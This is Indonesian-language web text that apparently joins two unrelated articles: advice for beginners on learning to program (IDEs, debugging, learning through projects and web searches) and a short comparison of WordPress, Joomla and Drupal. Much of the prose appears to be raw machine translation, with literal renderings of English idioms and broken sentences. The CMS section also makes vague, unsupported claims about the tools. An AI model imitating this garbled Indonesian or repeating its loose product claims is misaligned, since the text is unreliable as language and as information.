Ada, menurut pendapat saya, tiga keuntungan utama menggunakan IDE fitur lengkap. Pertama, mereka biasanya extensible, yang berarti bahwa ada yang gratis banyak plug-in yang bisa membuat hidup Anda jauh lebih mudah ketika Anda mendapatkan sedikit lebih maju. Kedua, dan yang paling penting, adalah kemudahan yang IDE memungkinkan Anda untuk debug kode Anda. IDE paling memungkinkan Anda mengatur breakpoints dalam kode, yang akan membuat halte program ketika itu sampai ke titik itu dan membiarkan anda melangkah melalui baris demi baris, sehingga Anda dapat memeriksa isi dari semua variabel setiap saat. (Bagi Anda yang tidak tahu apa variabel adalah, saya akan menjelaskan secara singkat Variabel adalah sedikit seperti loker stasiun kereta. Anda meminta satu cukup besar untuk menampung apa yang Anda inginkan untuk menyimpan,. Dan jika apa yang ingin Anda toko adalah bentuk yang tepat, dapat disimpan di sana Ketika Anda menulis sebuah program, setiap data yang ingin Anda menyimpan sementara akan diadakan di salah satu sampai Anda selesai dengan itu..) Sebagai program lama kata pepatah, jika Anda memiliki tidak ditemukan bug, Anda tidak mencari cukup keras. Hampir tidak ada program non-sepele akan bekerja pertama kalinya, dan mencoba untuk bekerja dimana masalahnya terletak tanpa menggunakan debugger adalah rasa sakit saya tidak mau pada siapa pun. Terakhir, IDE akan sering memberikan saran tentang cara untuk memperbaiki masalah-masalah dalam kode. Ini dapat sangat berguna untuk memperbaiki bug, dan menghemat harus resor ke Google setiap menit lainnya.

Sekarang bahwa Anda memiliki bahasa dan IDE, itu akhirnya waktu untuk belajar bahasa. Ini, karena Anda mungkin atau mungkin tidak akan terkejut untuk belajar, tidak rumit sama sekali - itu hanya memakan waktu. Untuk mempelajari pemrograman untuk pertama kalinya, tidak ada cara yang lebih baik daripada eksplorasi. Membeli sebuah buku yang menuntun Anda melalui langkah-langkah tidak akan mengajarkan Anda sesuatu, karena Anda tidak akan mengerti alasan di balik apa yang mereka lakukan, dan orang sering berkecil hati oleh kebosanan.

Kunci untuk belajar pemrograman adalah memiliki tujuan. Pikirkan tugas, seperti sistem untuk melacak di mana Anda berada di semua berbagai TV menunjukkan Anda menonton, atau sistem untuk membiarkan Anda melihat semua buku yang Anda miliki dalam kategori tertentu, atau, jika Anda merasa berani, mencoba untuk meniru bagian dari sesuatu yang Anda gunakan secara teratur. Saran saya akan mulai dari kecil, mungkin dengan membuat urutan kotak pesan yang menghina user atau kalkulator yang sangat sederhana. Hal ini penting ketika Anda pertama kali memulai bahwa tujuan Anda yang menarik, menantang dan menghibur. Jika Anda mencoba untuk membuat program benar-benar membosankan Anda dengan cepat akan berkecil hati, jadi cobalah untuk menyuntikkan beberapa komedi ke dalam program Anda. Kalkulator adalah sebuah program pengantar yang sangat baik, tapi setelah Anda mendapatkan ide umum, penting untuk menetapkan tujuan cukup ambisius, seperti jika Anda terus melakukan hal sederhana yang tidak akan pernah belajar sesuatu yang baru. Hal ini penting untuk mencoba untuk menggabungkan beberapa pengetahuan yang Anda dapatkan dari pekerjaan sebelumnya. Salah satu alasan buku yang paling gagal untuk mengajarkan pemrograman dengan baik adalah bahwa mereka menggunakan contoh-contoh kecil untuk setiap hal yang mereka memperkenalkan, sedangkan apa yang Anda benar-benar perlu Anda lakukan adalah merencanakan tugas tanpa mempertimbangkan apa yang Anda perlu untuk mencapainya. Ini berarti Anda akan dapat kode beberapa menggunakan apa yang sudah Anda tahu, tapi yang paling penting, Anda tidak akan tahu bagaimana kode sebagian. Cara terbaik untuk belajar adalah belajar dengan melakukan. Pergi untuk program penuh yang melakukan tugas yang Anda ingin lakukan pada komputer di masa lalu, bekerja di dalamnya, dan ketika Anda selesai Anda akan belajar banyak dan Anda akan memiliki sebuah program (atau setidaknya menghibur) yang berguna jauh lebih baik dari beberapa program mainan menunjukkan daftar.

Saya telah mengatakan bahwa Anda belajar dengan memilih untuk melakukan proyek-proyek di mana Anda tidak dapat melakukan bagian tertentu, sehingga membutuhkan Anda untuk belajar, tapi bagaimana Anda pergi tentang menemukan cara untuk melakukannya? Ini sederhana, dan kemungkinan besar cara Anda menemukan artikel ini. Pergi ke mesin pencari favorit Anda (seperti Google) dan mencari apa yang ingin Anda lakukan - misalnya, pencarian "drop down Jawa" untuk menemukan beberapa contoh pemakaian daftar drop down di Jawa. Karena Anda akan memerlukannya untuk tugas lain, dan bukan hanya untuk kembali melakukan hal yang sama contoh lakukan, Anda harus bermain dengan contoh Anda menemukan dan mencoba untuk mendapatkan mereka untuk melakukan apa yang Anda inginkan. Hanya cari setiap bit yang Anda butuhkan, dan tak lama Anda akan menemukan bahwa sebagian besar dasar-dasar adalah sebagai alam sebagai bangun di pagi hari, dan Anda melakukan semuanya tanpa mengeluarkan uang kecil di buku, tanpa merasa bosan dan mudah-mudahan saat sedang dihibur. Sampai hari ini, jika saya bosan, saya kadang-kadang keluar salah satu program saya yang pertama yang hanya daftar kotak dan pembangkit angka acak. Ini adalah tugas Anda untuk mencoba mengisi semua kotak sehingga nomor generator nomor acak memberikan Anda berada di urutan - jika Anda tidak meninggalkan ruang dan tidak dapat memasukkan angka dalam sebuah lubang kemudian Anda kehilangan dan harus mulai lagi . Ini adalah program yang sederhana, tapi butuh banyak pekerjaan ketika saya pertama kali ketemu dan saya belajar banyak dari pengalaman.

Setelah Anda memiliki beberapa program yang layak berukuran di bawah ikat pinggang Anda, Anda akan menemukan bahwa Anda tahu bahasa dengan baik. Anda juga akan menemukan bahwa sangat jarang, tidak peduli seberapa baik Anda mengenal bahasa, untuk dapat menulis sebuah program tanpa menggunakan Google setidaknya sekali hanya untuk memeriksa sesuatu. Maka dengan itu dalam pikiran, dapat dikatakan bahwa Anda belajar bahasa tanpa pernah benar-benar mencoba untuk mempelajarinya. Jelas ada standar dan praktek yang baik bahwa Anda tidak dapat mengambil sendiri, tetapi karena Anda melihat lebih banyak contoh dan membaca komentar Anda akan menemukan Anda mengadopsi standar Anda sendiri agak cepat.

Belajar Bahasa lain

Begitu Anda telah belajar satu bahasa, apapun itu, hal yang paling berharga yang Anda akan pelajari adalah semua kata kunci untuk pencarian. Bila Anda ingin melakukan sesuatu dalam bahasa yang baru, Anda hanya perlu mencari apa yang ingin Anda lakukan dan nama bahasa. Namun, sekarang Anda akan tahu nama-nama digunakan untuk merujuk kepada apa yang ingin Anda lakukan, yang memungkinkan pencarian Anda untuk menjadi lebih efektif dan contoh hasil dan jawaban jauh lebih cepat. Sebagai dasar-dasar pemrograman yang umumnya sama, terlepas dari bahasa yang Anda gunakan, Anda mudah-mudahan akan dapat menebak arti dari sebagian besar kode jauh lebih efektif setelah Anda menemukan contoh, memungkinkan Anda untuk mengambil sebagian dari bahasa sangat cepat.


kesimpulan

Jika Anda mengambil apa-apa lagi dari artikel ini, ingat bahwa cara terbaik untuk mempelajari keterampilan adalah praktek, praktek dan praktek lagi, jadi jangan berharap untuk menjadi ahli dalam semalam. Ingat pemrograman yang bukanlah sesuatu yang bisa dipelajari dalam semalam, dan bahwa untuk menjadi seorang ahli mendingan Anda mungkin perlu untuk menghabiskan setidaknya 10.000 pemrograman jam, sehingga Anda akan perlu menemukan cara untuk tetap termotivasi. Jangan menganggapnya sebagai belajar program - bukan, hanya mulai pemrograman, dan sebelum Anda tahu Anda akan menjadi ahli. Pemrograman adalah keterampilan, dan sementara itu cukup sederhana sekali Anda memiliki nuansa, itu bisa sangat menakutkan untuk melihat kalkulator kecil Anda yang membawa Anda seminggu dan kemudian mempertimbangkan permainan modern seperti "Batman: Arkham City" dan menyadari seberapa jauh Anda harus pergi.

Pemrograman adalah mudah bila Anda tahu bagaimana, tapi bukan hal sepele untuk belajar, sehingga sangat penting yang Anda tentukan sendiri tugas. Tugas-tugas ini sebaiknya harus menarik dan lebih baik lagi, menghibur, karena ini akan menjadi apa yang membuat Anda tetap pemrograman dan belajar lebih banyak dan lebih sampai, suatu hari, Anda bangun dan menyadari bahwa Anda tahu cukup banyak. Anda sendiri tutor Anda terbaik dan kuncinya adalah hanya untuk melompat dan memulai.

           


Open Source Terbaik CMS Wordpress, Joomla, Drupal

Situs web bangunan oleh orang-orang dengan pengetahuan sedikit pemrograman telah menjadi sangat populer hari ini. Awalnya, pembuatan website adalah pekerjaan yang sangat sulit bagi rakyat, karena mereka harus belajar bahasa yang berbeda dan kode untuk membuat website tertentu. Tapi ini adalah masalah masa lalu karena ketersediaan sistem manajemen konten (CMS). Dengan bantuan dari CMS, orang dapat dengan mudah membuat, menerbitkan dan bahkan arsip website dengan cara yang aman dan mudah.

CMS adalah jenis program multifungsi yang dapat membantu seorang individu untuk dengan mudah membuat website kuat. Hal ini membutuhkan penyedia hosting berfungsi dengan baik. Untuk alasan tersebut, penyedia hosting Anda harus menawarkan solusi hosting untuk CMS pilihan. Saat ini ada banyak CMS alat yang tersedia di internet dan semua dari mereka memiliki fitur mereka sendiri yang ditetapkan. Harga alat ini bervariasi sesuai dengan fungsi ini dalam satu paket alat tertentu CMS.
 
Satu alat CMS Wordpress. Alat ini tidak hanya mampu menciptakan blog, tetapi juga dapat menghasilkan website yang kuat dan fungsional. WordPress adalah paket lengkap untuk membuat situs terbaik di internet. Awalnya, tujuan tunggal alat ini adalah untuk membuat blog, tetapi alat telah berevolusi. Karena perangkat tambahan, Wordpress saat ini mampu mengelola website yang kompleks dengan cara yang lebih mudah.

Alat lain yang populer adalah CMS Joomla. Alat CMS adalah salah satu alat peringkat atas di Internet. Joomla telah mendapatkan popularitas seperti itu karena mudah untuk menggunakan antarmuka dan layanan rinci. Alat ini umumnya tersedia secara gratis dan kita juga dapat men-download tutorial untuk belajar lebih banyak tentang hal itu. Joomla sangat cocok untuk membangun website bisnis, majalah online dan bahkan portal komunikasi. Joomla terdiri dari banyak layanan ditingkatkan dan sejumlah besar komponen yang dapat dengan mudah meningkatkan nilai dari situs Anda dan memberikan lalu lintas besar ke situs Anda.
 
Jenis lain yang populer alat CMS Drupal. Alat ini adalah salah satu yang paling alat dasar yang tersedia. Dengan bantuan Drupal, orang dapat dengan mudah membuat situs web yang diinginkan hanya dalam beberapa langkah sederhana. Drupal adalah tidak hanya mampu membuat website atau blog kecil, tetapi dapat membantu pelanggan menciptakan website yang kompleks. Meskipun desain dari alat ini adalah tidak serumit Joomla, kustomisasi yang sangat sederhana. Alat ini juga berisi opsi user-friendly mencari pelanggan.